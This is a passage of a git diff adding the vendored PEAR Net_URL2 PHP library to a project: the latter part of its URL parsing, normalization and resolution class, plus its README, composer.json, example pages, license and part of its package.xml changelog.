+ private function _queryArrayByKey($key, $value, array $array = array())
+ {
+ if (!strlen($key)) {
+ return $array;
+ }
+
+ $offset = $this->_queryKeyBracketOffset($key);
+ if ($offset === false) {
+ $name = $key;
+ } else {
+ $name = substr($key, 0, $offset);
+ }
+
+ if (!strlen($name)) {
+ return $array;
+ }
+
+ if (!$offset) {
+ // named value
+ $array[$name] = $value;
+ } else {
+ // array
+ $brackets = substr($key, $offset);
+ if (!isset($array[$name])) {
+ $array[$name] = null;
+ }
+ $array[$name] = $this->_queryArrayByBrackets(
+ $brackets, $value, $array[$name]
+ );
+ }
+
+ return $array;
+ }
+
+ /**
+ * Parse a key-buffer to place value in array
+ *
+ * @param string $buffer to consume all keys from
+ * @param string $value to be set/add
+ * @param array $array to traverse and set/add value in
+ *
+ * @throws Exception
+ * @return array
+ */
+ private function _queryArrayByBrackets($buffer, $value, array $array = null)
+ {
+ $entry = &$array;
+
+ for ($iteration = 0; strlen($buffer); $iteration++) {
+ $open = $this->_queryKeyBracketOffset($buffer);
+ if ($open !== 0) {
+ // Opening bracket [ must exist at offset 0, if not, there is
+ // no bracket to parse and the value dropped.
+ // if this happens in the first iteration, this is flawed, see
+ // as well the second exception below.
+ if ($iteration) {
+ break;
+ }
+ // @codeCoverageIgnoreStart
+ throw new Exception(
+ 'Net_URL2 Internal Error: '. __METHOD__ .'(): ' .
+ 'Opening bracket [ must exist at offset 0'
+ );
+ // @codeCoverageIgnoreEnd
+ }
+
+ $close = strpos($buffer, ']', 1);
+ if (!$close) {
+ // this error condition should never be reached as this is a
+ // private method and bracket pairs are checked beforehand.
+ // See as well the first exception for the opening bracket.
+ // @codeCoverageIgnoreStart
+ throw new Exception(
+ 'Net_URL2 Internal Error: '. __METHOD__ .'(): ' .
+ 'Closing bracket ] must exist, not found'
+ );
+ // @codeCoverageIgnoreEnd
+ }
+
+ $index = substr($buffer, 1, $close - 1);
+ if (strlen($index)) {
+ $entry = &$entry[$index];
+ } else {
+ if (!is_array($entry)) {
+ $entry = array();
+ }
+ $entry[] = &$new;
+ $entry = &$new;
+ unset($new);
+ }
+ $buffer = substr($buffer, $close + 1);
+ }
+
+ $entry = $value;
+
+ return $array;
+ }
+
+ /**
+ * Query-key has brackets ("...[]")
+ *
+ * @param string $key query-key
+ *
+ * @return bool|int offset of opening bracket, false if no brackets
+ */
+ private function _queryKeyBracketOffset($key)
+ {
+ if (false !== $open = strpos($key, '[')
+ and false === strpos($key, ']', $open + 1)
+ ) {
+ $open = false;
+ }
+
+ return $open;
+ }
+
+ /**
+ * Sets the query string to the specified variable in the query string.
+ *
+ * @param array $array (name => value) array
+ *
+ * @return $this
+ */
+ public function setQueryVariables(array $array)
+ {
+ if (!$array) {
+ $this->_query = false;
+ } else {
+ $this->_query = $this->buildQuery(
+ $array,
+ $this->getOption(self::OPTION_SEPARATOR_OUTPUT)
+ );
+ }
+ return $this;
+ }
+
+ /**
+ * Sets the specified variable in the query string.
+ *
+ * @param string $name variable name
+ * @param mixed $value variable value
+ *
+ * @return $this
+ */
+ public function setQueryVariable($name, $value)
+ {
+ $array = $this->getQueryVariables();
+ $array[$name] = $value;
+ $this->setQueryVariables($array);
+ return $this;
+ }
+
+ /**
+ * Removes the specified variable from the query string.
+ *
+ * @param string $name a query string variable, e.g. "foo" in "?foo=1"
+ *
+ * @return void
+ */
+ public function unsetQueryVariable($name)
+ {
+ $array = $this->getQueryVariables();
+ unset($array[$name]);
+ $this->setQueryVariables($array);
+ }
+
+ /**
+ * Returns a string representation of this URL.
+ *
+ * @return string
+ */
+ public function getURL()
+ {
+ // See RFC 3986, section 5.3
+ $url = '';
+
+ if ($this->_scheme !== false) {
+ $url .= $this->_scheme . ':';
+ }
+
+ $authority = $this->getAuthority();
+ if ($authority === false && strtolower($this->_scheme) === 'file') {
+ $authority = '';
+ }
+
+ $url .= $this->_buildAuthorityAndPath($authority, $this->_path);
+
+ if ($this->_query !== false) {
+ $url .= '?' . $this->_query;
+ }
+
+ if ($this->_fragment !== false) {
+ $url .= '#' . $this->_fragment;
+ }
+
+ return $url;
+ }
+
+ /**
+ * Put authority and path together, wrapping authority
+ * into proper separators/terminators.
+ *
+ * @param string|bool $authority authority
+ * @param string $path path
+ *
+ * @return string
+ */
+ private function _buildAuthorityAndPath($authority, $path)
+ {
+ if ($authority === false) {
+ return $path;
+ }
+
+ $terminator = ($path !== '' && $path[0] !== '/') ? '/' : '';
+
+ return '//' . $authority . $terminator . $path;
+ }
+
+ /**
+ * Returns a string representation of this URL.
+ *
+ * @return string
+ * @link https://php.net/language.oop5.magic#object.tostring
+ */
+ public function __toString()
+ {
+ return $this->getURL();
+ }
+
+ /**
+ * Returns a normalized string representation of this URL. This is useful
+ * for comparison of URLs.
+ *
+ * @return string
+ */
+ public function getNormalizedURL()
+ {
+ $url = clone $this;
+ $url->normalize();
+ return $url->getUrl();
+ }
+
+ /**
+ * Normalizes the URL
+ *
+ * See RFC 3986, Section 6. Normalization and Comparison
+ *
+ * @link https://tools.ietf.org/html/rfc3986#section-6
+ *
+ * @return void
+ */
+ public function normalize()
+ {
+ // See RFC 3986, section 6
+
+ // Scheme is case-insensitive
+ if ($this->_scheme) {
+ $this->_scheme = strtolower($this->_scheme);
+ }
+
+ // Hostname is case-insensitive
+ if ($this->_host) {
+ $this->_host = strtolower($this->_host);
+ }
+
+ // Remove default port number for known schemes (RFC 3986, section 6.2.3)
+ if ('' === $this->_port
+ || $this->_port
+ && $this->_scheme
+ && $this->_port == getservbyname($this->_scheme, 'tcp')
+ ) {
+ $this->_port = false;
+ }
+
+ // Normalize case of %XX percentage-encodings (RFC 3986, section 6.2.2.1)
+ // Normalize percentage-encoded unreserved characters (section 6.2.2.2)
+ $fields = array(&$this->_userinfo, &$this->_host, &$this->_path);
+ foreach ($fields as &$field) {
+ if ($field !== false) {
+ $field = $this->_normalize("$field");
+ }
+ }
+ unset($field);
+
+ // Path segment normalization (RFC 3986, section 6.2.2.3)
+ $this->_path = self::removeDotSegments($this->_path);
+
+ // Scheme based normalization (RFC 3986, section 6.2.3)
+ if (false !== $this->_host && '' === $this->_path) {
+ $this->_path = '/';
+ }
+
+ // path should start with '/' if there is authority (section 3.3.)
+ if (strlen($this->getAuthority())
+ && strlen($this->_path)
+ && $this->_path[0] !== '/'
+ ) {
+ $this->_path = '/' . $this->_path;
+ }
+ }
+
+ /**
+ * Normalize case of %XX percentage-encodings (RFC 3986, section 6.2.2.1)
+ * Normalize percentage-encoded unreserved characters (section 6.2.2.2)
+ *
+ * @param string|array $mixed string or array of strings to normalize
+ *
+ * @return string|array
+ * @see normalize
+ * @see _normalizeCallback()
+ */
+ private function _normalize($mixed)
+ {
+ return preg_replace_callback(
+ '((?:%[0-9a-fA-Z]{2})+)', array($this, '_normalizeCallback'),
+ $mixed
+ );
+ }
+
+ /**
+ * Callback for _normalize() of %XX percentage-encodings
+ *
+ * @param array $matches as by preg_replace_callback
+ *
+ * @return string
+ * @see normalize
+ * @see _normalize
+ * @SuppressWarnings(PHPMD.UnusedPrivateMethod)
+ */
+ private function _normalizeCallback($matches)
+ {
+ return self::urlencode(urldecode($matches[0]));
+ }
+
+ /**
+ * Returns whether this instance represents an absolute URL.
+ *
+ * @return bool
+ */
+ public function isAbsolute()
+ {
+ return (bool) $this->_scheme;
+ }
+
+ /**
+ * Returns an Net_URL2 instance representing an absolute URL relative to
+ * this URL.
+ *
+ * @param Net_URL2|string $reference relative URL
+ *
+ * @throws Exception
+ * @return $this
+ */
+ public function resolve($reference)
+ {
+ if (!$reference instanceof Net_URL2) {
+ $reference = new self($reference);
+ }
+ if (!$reference->_isFragmentOnly() && !$this->isAbsolute()) {
+ throw new Exception(
+ 'Base-URL must be absolute if reference is not fragment-only'
+ );
+ }
+
+ // A non-strict parser may ignore a scheme in the reference if it is
+ // identical to the base URI's scheme.
+ if (!$this->getOption(self::OPTION_STRICT)
+ && $reference->_scheme == $this->_scheme
+ ) {
+ $reference->_scheme = false;
+ }
+
+ $target = new self('');
+ if ($reference->_scheme !== false) {
+ $target->_scheme = $reference->_scheme;
+ $target->setAuthority($reference->getAuthority());
+ $target->_path = self::removeDotSegments($reference->_path);
+ $target->_query = $reference->_query;
+ } else {
+ $authority = $reference->getAuthority();
+ if ($authority !== false) {
+ $target->setAuthority($authority);
+ $target->_path = self::removeDotSegments($reference->_path);
+ $target->_query = $reference->_query;
+ } else {
+ if ($reference->_path == '') {
+ $target->_path = $this->_path;
+ if ($reference->_query !== false) {
+ $target->_query = $reference->_query;
+ } else {
+ $target->_query = $this->_query;
+ }
+ } else {
+ if (substr($reference->_path, 0, 1) == '/') {
+ $target->_path = self::removeDotSegments($reference->_path);
+ } else {
+ // Merge paths (RFC 3986, section 5.2.3)
+ if ($this->_host !== false && $this->_path == '') {
+ $target->_path = '/' . $reference->_path;
+ } else {
+ $i = strrpos($this->_path, '/');
+ if ($i !== false) {
+ $target->_path = substr($this->_path, 0, $i + 1);
+ }
+ $target->_path .= $reference->_path;
+ }
+ $target->_path = self::removeDotSegments($target->_path);
+ }
+ $target->_query = $reference->_query;
+ }
+ $target->setAuthority($this->getAuthority());
+ }
+ $target->_scheme = $this->_scheme;
+ }
+
+ $target->_fragment = $reference->_fragment;
+
+ return $target;
+ }
+
+ /**
+ * URL is fragment-only
+ *
+ * @SuppressWarnings(PHPMD.UnusedPrivateMethod)
+ * @return bool
+ */
+ private function _isFragmentOnly()
+ {
+ return (
+ $this->_fragment !== false
+ && $this->_query === false
+ && $this->_path === ''
+ && $this->_port === false
+ && $this->_host === false
+ && $this->_userinfo === false
+ && $this->_scheme === false
+ );
+ }
+
+ /**
+ * Removes dots as described in RFC 3986, section 5.2.4, e.g.
+ * "/foo/../bar/baz" => "/bar/baz"
+ *
+ * @param string $path a path
+ *
+ * @return string a path
+ */
+ public static function removeDotSegments($path)
+ {
+ $path = (string) $path;
+ $output = '';
+
+ // Make sure not to be trapped in an infinite loop due to a bug in this
+ // method
+ $loopLimit = 256;
+ $j = 0;
+ while ('' !== $path && $j++ < $loopLimit) {
+ if (substr($path, 0, 2) === './') {
+ // Step 2.A
+ $path = substr($path, 2);
+ } elseif (substr($path, 0, 3) === '../') {
+ // Step 2.A
+ $path = substr($path, 3);
+ } elseif (substr($path, 0, 3) === '/./' || $path === '/.') {
+ // Step 2.B
+ $path = '/' . substr($path, 3);
+ } elseif (substr($path, 0, 4) === '/../' || $path === '/..') {
+ // Step 2.C
+ $path = '/' . substr($path, 4);
+ $i = strrpos($output, '/');
+ $output = $i === false ? '' : substr($output, 0, $i);
+ } elseif ($path === '.' || $path === '..') {
+ // Step 2.D
+ $path = '';
+ } else {
+ // Step 2.E
+ $i = strpos($path, '/', $path[0] === '/');
+ if ($i === false) {
+ $output .= $path;
+ $path = '';
+ break;
+ }
+ $output .= substr($path, 0, $i);
+ $path = substr($path, $i);
+ }
+ }
+
+ if ($path !== '') {
+ $message = sprintf(
+ 'Unable to remove dot segments; hit loop limit %d (left: %s)',
+ $j, var_export($path, true)
+ );
+ trigger_error($message, E_USER_WARNING);
+ }
+
+ return $output;
+ }
+
+ /**
+ * Percent-encodes all non-alphanumeric characters except these: _ . - ~
+ * Similar to PHP's rawurlencode(), except that it also encodes ~ in PHP
+ * 5.2.x and earlier.
+ *
+ * @param string $string string to encode
+ *
+ * @return string
+ */
+ public static function urlencode($string)
+ {
+ $encoded = rawurlencode($string);
+
+ // This is only necessary in PHP < 5.3.
+ $encoded = str_replace('%7E', '~', $encoded);
+ return $encoded;
+ }
+
+ /**
+ * Returns a Net_URL2 instance representing the canonical URL of the
+ * currently executing PHP script.
+ *
+ * @throws Exception
+ * @return string
+ */
+ public static function getCanonical()
+ {
+ if (!isset($_SERVER['REQUEST_METHOD'])) {
+ // ALERT - no current URL
+ throw new Exception('Script was not called through a webserver');
+ }
+
+ // Begin with a relative URL
+ $url = new self($_SERVER['PHP_SELF']);
+ $url->_scheme = isset($_SERVER['HTTPS']) ? 'https' : 'http';
+ $url->_host = $_SERVER['SERVER_NAME'];
+ $port = $_SERVER['SERVER_PORT'];
+ if ($url->_scheme == 'http' && $port != 80
+ || $url->_scheme == 'https' && $port != 443
+ ) {
+ $url->_port = $port;
+ }
+ return $url;
+ }
+
+ /**
+ * Returns the URL used to retrieve the current request.
+ *
+ * @return string
+ */
+ public static function getRequestedURL()
+ {
+ return self::getRequested()->getUrl();
+ }
+
+ /**
+ * Returns a Net_URL2 instance representing the URL used to retrieve the
+ * current request.
+ *
+ * @throws Exception
+ * @return $this
+ */
+ public static function getRequested()
+ {
+ if (!isset($_SERVER['REQUEST_METHOD'])) {
+ // ALERT - no current URL
+ throw new Exception('Script was not called through a webserver');
+ }
+
+ // Begin with a relative URL
+ $url = new self($_SERVER['REQUEST_URI']);
+ $url->_scheme = isset($_SERVER['HTTPS']) ? 'https' : 'http';
+ // Set host and possibly port
+ $url->setAuthority($_SERVER['HTTP_HOST']);
+ return $url;
+ }
+
+ /**
+ * Returns the value of the specified option.
+ *
+ * @param string $optionName The name of the option to retrieve
+ *
+ * @return mixed
+ */
+ public function getOption($optionName)
+ {
+ return isset($this->_options[$optionName])
+ ? $this->_options[$optionName] : false;
+ }
+
+ /**
+ * A simple version of http_build_query in userland. The encoded string is
+ * percentage encoded according to RFC 3986.
+ *
+ * @param array $data An array, which has to be converted into
+ * QUERY_STRING. Anything is possible.
+ * @param string $separator Separator {@link self::OPTION_SEPARATOR_OUTPUT}
+ * @param string $key For stacked values (arrays in an array).
+ *
+ * @return string
+ */
+ protected function buildQuery(array $data, $separator, $key = null)
+ {
+ $query = array();
+ $drop_names = (
+ $this->_options[self::OPTION_DROP_SEQUENCE] === true
+ && array_keys($data) === array_keys(array_values($data))
+ );
+ foreach ($data as $name => $value) {
+ if ($this->getOption(self::OPTION_ENCODE_KEYS) === true) {
+ $name = rawurlencode($name);
+ }
+ if ($key !== null) {
+ if ($this->getOption(self::OPTION_USE_BRACKETS) === true) {
+ $drop_names && $name = '';
+ $name = $key . '[' . $name . ']';
+ } else {
+ $name = $key;
+ }
+ }
+ if (is_array($value)) {
+ $query[] = $this->buildQuery($value, $separator, $name);
+ } else {
+ $query[] = $name . '=' . rawurlencode($value);
+ }
+ }
+ return implode($separator, $query);
+ }
+
+ /**
+ * This method uses a regex to parse the url into the designated parts.
+ *
+ * @param string $url URL
+ *
+ * @return void
+ * @uses self::$_scheme, self::setAuthority(), self::$_path, self::$_query,
+ * self::$_fragment
+ * @see __construct
+ */
+ protected function parseUrl($url)
+ {
+ // The regular expression is copied verbatim from RFC 3986, appendix B.
+ // The expression does not validate the URL but matches any string.
+ preg_match(
+ '(^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?)',
+ $url, $matches
+ );
+
+ // "path" is always present (possibly as an empty string); the rest
+ // are optional.
+ $this->_scheme = !empty($matches[1]) ? $matches[2] : false;
+ $this->setAuthority(!empty($matches[3]) ? $matches[4] : false);
+ $this->_path = $this->_encodeData($matches[5]);
+ $this->_query = !empty($matches[6])
+ ? $this->_encodeData($matches[7])
+ : false
+ ;
+ $this->_fragment = !empty($matches[8]) ? $matches[9] : false;
+ }
+
+ /**
+ * Encode characters that might have been forgotten to encode when passing
+ * in an URL. Applied onto Userinfo, Path and Query.
+ *
+ * @param string $url URL
+ *
+ * @return string
+ * @see parseUrl
+ * @see setAuthority
+ * @link https://pear.php.net/bugs/bug.php?id=20425
+ */
+ private function _encodeData($url)
+ {
+ return preg_replace_callback(
+ '([\x-\x20\x22\x3C\x3E\x7F-\xFF]+)',
+ array($this, '_encodeCallback'), $url
+ );
+ }
+
+ /**
+ * callback for encoding character data
+ *
+ * @param array $matches Matches
+ *
+ * @return string
+ * @see _encodeData
+ * @SuppressWarnings(PHPMD.UnusedPrivateMethod)
+ */
+ private function _encodeCallback(array $matches)
+ {
+ return rawurlencode($matches[0]);
+ }
+}
diff --git a/vendor/pear/net_url2/README.md b/vendor/pear/net_url2/README.md
new file mode 100644
index 000000000..bc98d3aec
--- /dev/null
+++ b/vendor/pear/net_url2/README.md
@@ -0,0 +1,43 @@
+[![Net_URL2 on Packagist](https://poser.pugx.org/pear/net_url2/v/stable.png)][pear/net_url2]
+[![Build Status](https://travis-ci.org/pear/Net_URL2.png)][Travis CI]
+[![Scrutinizer Quality Score](https://scrutinizer-ci.com/g/pear/Net_URL2/badges/quality-score.png?s=23b0d3f0ed58ee865317c500ee2cbe94517438ec)](https://scrutinizer-ci.com/g/pear/Net_URL2/)
+[![Code Coverage](https://scrutinizer-ci.com/g/pear/Net_URL2/badges/coverage.png?s=44d3682d7cdef471570d80dd8a7290a1e23fdfee)](https://scrutinizer-ci.com/g/pear/Net_URL2/)
+
+# Net_URL2
+
+Class for parsing and handling URL. Provides parsing of URLs into their constituent parts (scheme, host, path etc.),
+URL generation, and resolving of relative URLs.
+
+This package is [Pear Net_URL2] and has been migrated from [Pear SVN]
+
+Please report all new issues via the [PEAR bug tracker].
+
+On Packagist as [pear/net_url2].
+
+[Pear Net_URL2]: https://pear.php.net/package/Net_URL2
+[Pear SVN]: https://svn.php.net/repository/pear/packages/Net_URL2
+[PEAR bug tracker]: https://pear.php.net/bugs/search.php?cmd=display&package_name%5B%5D=Net_URL2
+[pear/net_url2]: https://packagist.org/packages/pear/net_url2
+[Travis CI]: https://travis-ci.org/pear/Net_URL2
+
+## Testing, Packaging and Installing (Pear)
+
+To test, run either
+
+ $ phpunit tests/
+
+ or
+
+ $ pear run-tests -r
+
+To build, simply
+
+ $ pear package
+
+To install from scratch
+
+ $ pear install package.xml
+
+To upgrade
+
+ $ pear upgrade -f package.xml
diff --git a/vendor/pear/net_url2/composer.json b/vendor/pear/net_url2/composer.json
new file mode 100644
index 000000000..00e4b2e4e
--- /dev/null
+++ b/vendor/pear/net_url2/composer.json
@@ -0,0 +1,52 @@
+{
+ "name": "pear/net_url2",
+ "description": "Class for parsing and handling URL. Provides parsing of URLs into their constituent parts (scheme, host, path etc.), URL generation, and resolving of relative URLs.",
+ "type": "library",
+ "keywords": [
+ "pear",
+ "net",
+ "url",
+ "uri",
+ "networking",
+ "rfc3986"
+ ],
+ "homepage": "https://github.com/pear/Net_URL2",
+ "license": "BSD-3-Clause",
+ "authors": [
+ {
+ "name": "Tom Klingenberg",
+ "email": "tkli@php.net"
+ },
+ {
+ "name": "David Coallier",
+ "email": "davidc@php.net"
+ },
+ {
+ "name": "Christian Schmidt",
+ "email": "chmidt@php.net"
+ }
+ ],
+ "support": {
+ "issues": "https://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_URL2",
+ "source": "https://github.com/pear/Net_URL2"
+ },
+ "require": {
+ "php": ">=5.1.4"
+ },
+ "autoload": {
+ "psr-0": {
+ "Net": ""
+ }
+ },
+ "extra": {
+ "branch-alias": {
+ "dev-master": "2.0.x-dev"
+ }
+ },
+ "include-path": [
+ "./"
+ ],
+ "require-dev": {
+ "phpunit/phpunit": ">=3.3.0"
+ }
+}
diff --git a/vendor/pear/net_url2/docs/6470.php b/vendor/pear/net_url2/docs/6470.php
new file mode 100755
index 000000000..8ef0ff046
--- /dev/null
+++ b/vendor/pear/net_url2/docs/6470.php
@@ -0,0 +1,56 @@
+<?php
+/**
+ * Net_URL2, a class representing a URL as per RFC 3986.
+ *
+ * PHP version 5
+ *
+ * This file contains code Copyright (c) 2002-2003, Richard Heyes,
+ * See BSD-3-CLAUSE-Heyes,
+ * Author: Richard Heyes <richard at php net>
+ *
+ * @category Networking
+ * @package Net_URL2
+ * @author Some Pear Developers <pear@php.net>
+ * @license https://spdx.org/licenses/BSD-3-Clause BSD-3-Clause
+ * @link https://tools.ietf.org/html/rfc3986
+ */
+
+/**
+* This example will decode the url given and display its
+* constituent parts.
+*/
+ error_reporting(E_ALL | E_STRICT);
+
+ require_once 'Net/URL2.php';
+
+ $url = new Net_URL2('https://www.example.com/foo/bar/index.php?foo=bar');
+
+?>
+<html>
+<body>
+
+<pre>
+Protocol...: <?php echo $url->protocol; ?>
+
+Username...: <?php echo $url->user; ?>
+
+Password...: <?php echo $url->pass; ?>
+
+Server.....: <?php echo $url->host; ?>
+
+Port.......: <?php $url->port; ?>
+
+File/path..: <?php $url->path; ?>
+
+Querystring: <?php print_r($url->querystring); ?>
+
+Anchor.....: <?php echo $url->anchor;?>
+
+Full URL...: <?php echo $url->getUrl(); ?>
+
+Resolve path (/.././/foo/bar/joe/./././../jabba): <b><?php
+ echo $url->resolve('/.././/foo/bar/joe/./././../jabba'); ?></b>
+</pre>
+
+</body>
+</html>
diff --git a/vendor/pear/net_url2/docs/BSD-3-CLAUSE-Heyes b/vendor/pear/net_url2/docs/BSD-3-CLAUSE-Heyes
new file mode 100644
index 000000000..b45ca8e94
--- /dev/null
+++ b/vendor/pear/net_url2/docs/BSD-3-CLAUSE-Heyes
@@ -0,0 +1,27 @@
+Copyright (c) 2002-2003, Richard Heyes
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+1) Redistributions of source code must retain the above copyright
+ notice, this list of conditions and the following disclaimer.
+2) Redistributions in binary form must reproduce the above copyright
+ notice, this list of conditions and the following disclaimer in the
+ documentation and/or other materials provided with the distribution.
+3) Neither the name of the Richard Heyes nor the names of his
+ contributors may be used to endorse or promote products derived
+ from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/pear/net_url2/docs/example.php b/vendor/pear/net_url2/docs/example.php
new file mode 100755
index 000000000..351be68b8
--- /dev/null
+++ b/vendor/pear/net_url2/docs/example.php
@@ -0,0 +1,62 @@
+<?php
+/**
+ * Net_URL2, a class representing a URL as per RFC 3986.
+ *
+ * PHP version 5
+ *
+ * This file contains code Copyright (c) 2002-2003, Richard Heyes,
+ * See BSD-3-CLAUSE-Heyes,
+ * Author: Richard Heyes <richard at php net>
+ *
+ * @category Networking
+ * @package Net_URL2
+ * @author Some Pear Developers <pear@php.net>
+ * @license https://spdx.org/licenses/BSD-3-Clause BSD-3-Clause
+ * @link https://tools.ietf.org/html/rfc3986
+ */
+
+/**
+* This example will decode the url given and display its
+* constituent parts.
+*/
+
+error_reporting(E_ALL | E_STRICT);
+
+require 'Net/URL2.php';
+
+$url = new Net_URL2(
+ 'https://example.com/pls/portal30/PORTAL30.wwpob_page.changetabs?'
+ .'p_back_url=http%3A%2F%2Fexample.com%2Fservlet%2Fpage%3F_pageid%3D360'
+ .'%2C366%2C368%2C382%26_dad%3Dportal30%26_schema%3DPORTAL30&foo=bar'
+);
+
+?>
+<html>
+<body>
+
+<pre>
+Protocol...: <?php echo $url->protocol; ?>
+
+Username...: <?php echo $url->user; ?>
+
+Password...: <?php echo $url->pass; ?>
+
+Server.....: <?php echo $url->host; ?>
+
+Port.......: <?php $url->port; ?>
+
+File/path..: <?php $url->path; ?>
+
+Querystring: <?php print_r($url->querystring); ?>
+
+Anchor.....: <?php echo $url->anchor;?>
+
+Full URL...: <?php echo $url->getUrl(); ?>
+
+
+Resolve path (.././/foo/bar/joe/./././../jabba): <b><?php
+ echo $url->resolve('.././/foo/bar/joe/./././../jabba'); ?></b>
+</pre>
+
+</body>
+</html>
diff --git a/vendor/pear/net_url2/package.xml b/vendor/pear/net_url2/package.xml
new file mode 100644
index 000000000..c819c2490
--- /dev/null
+++ b/vendor/pear/net_url2/package.xml
@@ -0,0 +1,437 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<package packagerversion="1.5.1" version="2.0" xmlns="http://pear.php.net/dtd/package-2.0"
+ xmlns:tasks="http://pear.php.net/dtd/tasks-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
+http://pear.php.net/dtd/tasks-1.0.xsd
+http://pear.php.net/dtd/package-2.0
+http://pear.php.net/dtd/package-2.0.xsd">
+ <name>Net_URL2</name>
+ <channel>pear.php.net</channel>
+ <extends>Net_URL</extends>
+ <summary>Class for parsing and handling URL.</summary>
+ <description>
+ Provides parsing of URLs into their constituent parts (scheme, host, path etc.), URL generation, and resolving of
+ relative URLs.
+ </description>
+ <lead>
+ <name>Tom Klingenberg</name>
+ <user>tkli</user>
+ <email>tkli@php.net</email>
+ <active>yes</active>
+ </lead>
+ <lead>
+ <name>David Coallier</name>
+ <user>davidc</user>
+ <email>davidc@php.net</email>
+ <active>no</active>
+ </lead>
+ <lead>
+ <name>Christian Schmidt</name>
+ <user>schmidt</user>
+ <email>schmidt@php.net</email>
+ <active>no</active>
+ </lead>
+
+ <date>2014-10-21</date>
+ <time>18:09:00</time>
+ <version>
+ <release>2.1.0</release>
+ <api>2.1.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * New: OPTION_DROP_SEQUENCE
+ </notes>
+
+ <contents>
+ <dir name="/">
+ <dir name="docs">
+ <file baseinstalldir="Net" name="example.php" role="doc" />
+ <file baseinstalldir="Net" name="6470.php" role="doc" />
+ <file baseinstalldir="Net" name="BSD-3-CLAUSE-Heyes" role="doc" />
+ </dir>
+ <!-- //docs -->
+ <dir name="tests">
+ <file name="AllTests.php" role="test" />
+ <dir name="Net">
+ <file name="URL2Test.php" role="test">
+ <tasks:replace type="package-info" to="version" from="@package_version@" />
+ </file>
+ </dir>
+ </dir>
+ <dir name="Net">
+ <file name="URL2.php" role="php">
+ <tasks:replace type="package-info" to="version" from="@package_version@" />
+ </file>
+ </dir>
+ </dir>
+ <!-- / -->
+ </contents>
+ <dependencies>
+ <required>
+ <php>
+ <min>5.1.4</min>
+ </php>
+ <pearinstaller>
+ <min>1.4.0b1</min>
+ </pearinstaller>
+ </required>
+ </dependencies>
+ <phprelease />
+ <changelog>
+ <release>
+ <date>2014-10-21</date>
+ <time>18:09:00</time>
+ <version>
+ <release>2.1.0</release>
+ <api>2.1.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * New: OPTION_DROP_SEQUENCE
+ </notes>
+ </release>
+ <release>
+ <date>2014-10-21</date>
+ <time>18:06:00</time>
+ <version>
+ <release>2.0.12</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * Removed: OPTION_DROP_SEQUENCE
+ </notes>
+ </release>
+
+ <release>
+ <date>2014-10-18</date>
+ <time>08:39:00</time>
+ <version>
+ <release>2.0.11</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * New: OPTION_DROP_SEQUENCE
+ </notes>
+ </release>
+
+ <release>
+ <date>2014-10-09</date>
+ <time>22:12:00</time>
+ <version>
+ <release>2.0.10</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * Imp: composer for pear
+ * Fix: Documentation problem
+ </notes>
+ </release>
+
+ <release>
+ <date>2014-10-08</date>
+ <time>15:52:00</time>
+ <version>
+ <release>2.0.9</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * Fixed #20418: Incorrect normalization of URI with missing authority
+ * Upd: Test for RFC 3986 Section 1.1.2 Examples
+ * Upd: Travis CI - PHP 5.6 added
+ </notes>
+ </release>
+
+ <release>
+ <date>2014-10-07</date>
+ <time>23:25:00</time>
+ <version>
+ <release>2.0.8</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * Fixed #20420: Inconsistent setAuthority and getAuthority
+ * Fixed #20423: URI with IPv6 or IPvFuture not parsed
+ * Imp: Test for RFC 3986 Section 1.1.2 Examples
+ </notes>
+ </release>
+
+ <release>
+ <date>2014-09-07</date>
+ <time>08:34:00</time>
+ <version>
+ <release>2.0.7</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
